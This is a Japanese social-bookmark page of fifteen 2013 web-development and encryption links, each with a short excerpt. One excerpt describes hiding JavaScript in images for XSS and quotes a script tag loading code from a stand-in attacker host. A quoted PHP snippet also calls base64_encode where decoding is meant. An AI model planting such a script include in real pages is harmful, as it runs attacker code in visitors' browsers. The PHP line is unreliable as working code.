タグ

2013年7月31日のブックマーク (15件)

  • JavaScriptのライブラリをGithubから呼び出して高速化 | Web活メモ帳

    「Cached Commons」はGithubにあるJavaScriptライブラリを集めているサイトです。 みんなでGithubにあるライブラリを呼び出して、ユーザーにキャッシュしてもらおうというプロジェクトです。 サイトの高速化につなげる事ができますね。 Google Ajax Librariesと一緒? 基的な考え方はGoogle Ajax Librariesと一緒ですね。 サーバーにアップしなくても良いので、サーバー側の負荷減少にもなるかと思います。 jQueryのプラグインなど豊富にそろっているので、GoogleAPIより一枚上手かもしれません。 Githubで公開しているライブラリを申請すれば加えてくれるのもポイントです! 他のライブラリもGithubで開発・公開すれば良いのにと思わずには居られませんねw

    JavaScriptのライブラリをGithubから呼び出して高速化 | Web活メモ帳
    typista
    typista 2013/07/31
    JavaScriptのライブラリをGithubから呼び出して高速化
  • Crypto++を使って、PHP(OpenSSL)との通信にRSAで暗号/復号化してみる » おかゆ倶楽部―ソースが全然洗われない迷走ブログ

    typista
    typista 2013/07/31
    Crypto++を使って、PHP(OpenSSL)との通信にRSAで暗号/復号化してみる
  • CentOS6.4(64bit)「mcrypt 拡張をロードできません。PHP の設定を確認してください」で七転八倒 - さくらVPSとデジタルモノ好きの備忘録

    最近、サーバを放置状態だったので久々に見てみると、phpMyAdminで「mcrypt 拡張をロードできません。PHP の設定を確認してください」というメッセージが出ていることに気づいた。 この程度のメッセージが出ていても、サーバ機能として問題なく使えている以上は放置プレイをしたいところだが、今日は気分が乗っていたので腕試しがてらに対処することとした。 とりあえずググると、「mcrypt拡張が入っていないから入れればいいだろ」との内容があちらこちらで散見される。 というわけで、入れようとしたが、既に入っていたんだな。そういえば、以前に入れてたよな。すっかり覚えていないが。 では一度アンインストールして再度入れ直そうと、yumでmcryptをremoveすると、phpMyAdminまでアンインストールされやがった。おっと、抱き合わせで入っていやがったか。途中のメッセージを読まずにアンインスト

    CentOS6.4(64bit)「mcrypt 拡張をロードできません。PHP の設定を確認してください」で七転八倒 - さくらVPSとデジタルモノ好きの備忘録
    typista
    typista 2013/07/31
    CentOS6.4(64bit)「mcrypt 拡張をロードできません。PHP の設定を確認してください」で七転八倒
  • PHP-users - [PHP-users 31653] PHP mcryptとjavascript間での暗号化/復号化について

    菊澤と申します。 javascript側の復号化のソースを見たところ、復号化すべき データの先頭にivがあることを期待しています。 iv+暗号化されたデータ という構成のデータでないと複合化できません。 blowfishの場合、8バイトをivとして扱いますので、暗号化された データだけ渡してしまうと、暗号化されたデータの先頭8バイトをiv としてしまい復号時、先頭8バイト分がなくなってしまいます。 ですので、 $js_encoded = base64_encode($iv.$encrypted); として、$js_encodedをjavascript側に渡してやれば良いかと思います。 また、javascript側から渡される暗号を復号するには、 $decoded = base64_encode($js_base64); $iv = substr($decoded, 0, 8); $encr

    typista
    typista 2013/07/31
    PHP mcryptとjavascript間での暗号化/復号化について
  • tkyk.name

    tkyk.name このドメインを購入する。 2018 Copyright. All Rights Reserved. The Sponsored Listings displayed above are served automatically by a third party. Neither the service provider nor the domain owner maintain any relationship with the advertisers. In case of trademark issues please contact the domain owner directly (contact information can be found in whois). Privacy Policy

    typista
    typista 2013/07/31
    PHP で共通鍵暗号(mcrypt)を使用する
  • 実演: RSA暗号の理論と実際 - faireal.net

    JavaScript: 触って分かる公開鍵暗号RSA 2004年 2月 4日 記事ID d40204 公開鍵暗号RSAの各面について。 に書いてあるような理論的説明でなく、 実地に体験しながら、具体的に見ていきましょう。 JavaScript で実装したRSA暗号系 PigPGP 0.2.3 日語版 を使います。 このデモは、内部で実際に行っている演算の様子をガラス張りにして見せてくれます。 初めに 例えばパソコンについて理解するのに、を読んだだけで十分に納得がいくものでしょうか。 やはりパソコンについてよく分かるようになるにはパソコンをいじってみるのがいちばんでしょう。 同じように、ここではRSA暗号について実感として分かることが目的ですから、 RSA暗号系を自分の手でいじってみるのがいちばんです。 PigPGP 0.2.3 日語版がそれです。 これは JavaScript で実

    typista
    typista 2013/07/31
    実演: RSA暗号の理論と実際
  • GnuPGの使い方

    まずGNU Privacy Guardをダウンロードする必要があります。ダウンロードはGNU Privacy Guard Homepageよりダウンロードしてください。コンパイルする必要があるものとバイナリでダウンロードできるものもあります。これはプラットフォームによって違ってくるのでご使用のオペレーティングシステムにあったものをダウンロードしてください。 ダウンロードの終了後、まずは自分の秘密鍵と公開鍵を生成する必要があります。コマンドラインでgpgと入力してみて何か反応があればパスが通っている証拠ですのでプログラムが実行されている場合はCtrl-Cを押して終了して下さい。この時に反応がないようであればインストールしたフォルダにパスが通るようにしてください。次にgpg–gen-keyと入力します。

    typista
    typista 2013/07/31
    GnuPGの使い方
  • PGP / GnuPG/ Open PGP Message Encryption in JavaScript

    PGP / GnuPG / OpenPGP Message Encryption in JavaScript © Herbert Hanewinkel 23.Feb.2005 updated 17.Jan.2011 Why encryption in Javascript? For securing web forms with public key encryption. Public key encryption in Javascript encrypts form data at the client side for the whole transfer from sender to the final receiver. Form data can be transferred without using an SSL connection and is stored encr

    typista
    typista 2013/07/31
    PGP / GnuPG/ Open PGP Message Encryption in JavaScript
  • [HTML5] Drag and Drop API のこと

    HTML5のドラッグ&ドロップはこれ書いてる時点でFirefox、Chrome、IEが対応。 しかしIEの場合はFileReaderとデータURI未対応だから全く面白みがない。 Drag出来るといってもMooToolsやjQueryなどで実装するようなぬるぬる動かすようなものではなく、 html5.jpのチェックページにあるツールのように、右から左へ受け流すようなことしか出来ない。 jQueryとの比較がこのサイトで見れる。 故にshapeshed.comのデモみたく、ゴミ箱にドキュメントを捨てたり、カートに商品を入れたりする用途には向いているが 自由奔放にドラッグさせるとなるとFrameworkの力を借りるより他ない。 サンプルでよく見るのはコンピューターにあるファイルをブラウザウィンドウにドラッグして、 そのファイルの中身をFileAPIで読み込んでこねこねするっていうやつだと思う。

    [HTML5] Drag and Drop API のこと
    typista
    typista 2013/07/31
    Drag and Drop API のこと
  • 本の虫: QuirksBlog: HTML5のドラッグ&ドロップはクソだ

    QuirksBlog: The HTML5 drag and drop disaster QuirksBlogで有名なPeter-Paul Kochさんが、HTML5のドラッグ&ドロップに関して、酷くののしっている。かなり好い文章で、興味深かったので翻訳してみた。記事が長いので、blockquoteを使うのは御免を被る。 一日半もテストして、HTML5 drag and drop moduleはクソなばかりか、ゲロみてえな臭いがプンプンするってことが、いやというほど分かったね。 コイツはHTML5規格から、ソッコーで消すべきだし、もっとまともな規格が制定されるまでは、現行ブラウザは、この機能を、一刻も早く無効にするべきだ。 Web開発者は、HTML5のドラッグ&ドロップを使うな。絶対使うな。RFC2119で規定されているMUST NOTの意味で使うな。使いたきゃ、従来通りのスクリプトで実装

    typista
    typista 2013/07/31
    QuirksBlog: HTML5のドラッグ&ドロップはクソだ
  • Learn web development  |  web.dev

    Stay organized with collections Save and categorize content based on your preferences. Explore our growing collection of courses on key web design and development subjects. An industry expert has written each course, helped by members of the Chrome team. Follow the modules sequentially, or dip into the topics you most want to learn about.

    Learn web development  |  web.dev
    typista
    typista 2013/07/31
    ネイティブ HTML5 ドラッグ&ドロップ
  • yohgaki's blog - 画像ファイルにJavaScriptを隠す

    (Last Updated On: 2014年12月5日)前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。 http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/ <script src="http://cracked.example.com/cracked.gif"> などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。 このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。 Flicke

    yohgaki's blog - 画像ファイルにJavaScriptを隠す
    typista
    typista 2013/07/31
    画像ファイルにJavaScriptを隠す
  • Googleがスマホへの対応が不適切なサイトの順位引き下げを発表 - ECサイト構築運営に役立つ情報発信|モバイルファーストマーケティングラボ

    2013年6月11日、検索サイト最大手のGoogleが検索結果のランキング変更に関する発表を行いました。 スマートフォン向け検索でのランキングの変更について GoogleのPierre Far氏(ウェブマスタートレンド担当アナリスト)によると、「スマートフォンユーザーへの更なる検索体験の向上と、スマートフォン環境での閲覧の支障を減らすため、Googleでは近日中に、誤った設定をおこなっているスマートフォン向けサイトに影響のある、いくつかのランキングの変更を予定しています」と述べています。 要はスマートフォンユーザーがより快適にサイトのコンテンツを閲覧し、ストレス無く探している情報をすぐに見つけることができるようにする変更なんですが、問題のあるサイト事例として以下を紹介しています。 デスクトップ向けサイトと、スマートフォン向けサイトでそれぞれ別々のURLを用意しているサイトの場合、リダイレク

    Googleがスマホへの対応が不適切なサイトの順位引き下げを発表 - ECサイト構築運営に役立つ情報発信|モバイルファーストマーケティングラボ
    typista
    typista 2013/07/31
    Googleがスマホへの対応が不適切なサイトの順位引き下げを発表
  • iPhoneで使っている便利ツール - Qiita

    はじめに ここでは、iPhoneで私が使っている便利ツールを紹介していきます。長文過ぎると、途中で表示できなくなってしまうことを学習したため、不要な解説は省略します。また、個人的な価値観から形成された表現を含むかもしれませんが、その点の説明も省略します。ご了承ください。 便利なアプリを知っていたら、是非コメントをお願いします。 iPhoneの通知領域をハックする Iconizer //アイコン作成アプリ。通知領域を利用できる アイコンを作成したあと、それを実行します。すると、通知領域に表示されます。作成したアイコンからアプリを1度実行したあとは、Iconizerの設定にて、実行履歴はオフにしておきましょう。 iPhoneで使っている便利な無料アプリ FileApp //ファイルマネージャー Fing //ネットワークスキャナ。WOL機能も追加された IRC999 //IRCクライアント z

    iPhoneで使っている便利ツール - Qiita
    typista
    typista 2013/07/31
    iPhoneで使っている便利ツール
  • さくらのVPS/初期設定 - PukiWiki

    typista
    typista 2013/07/31
    さくらのVPS/初期設定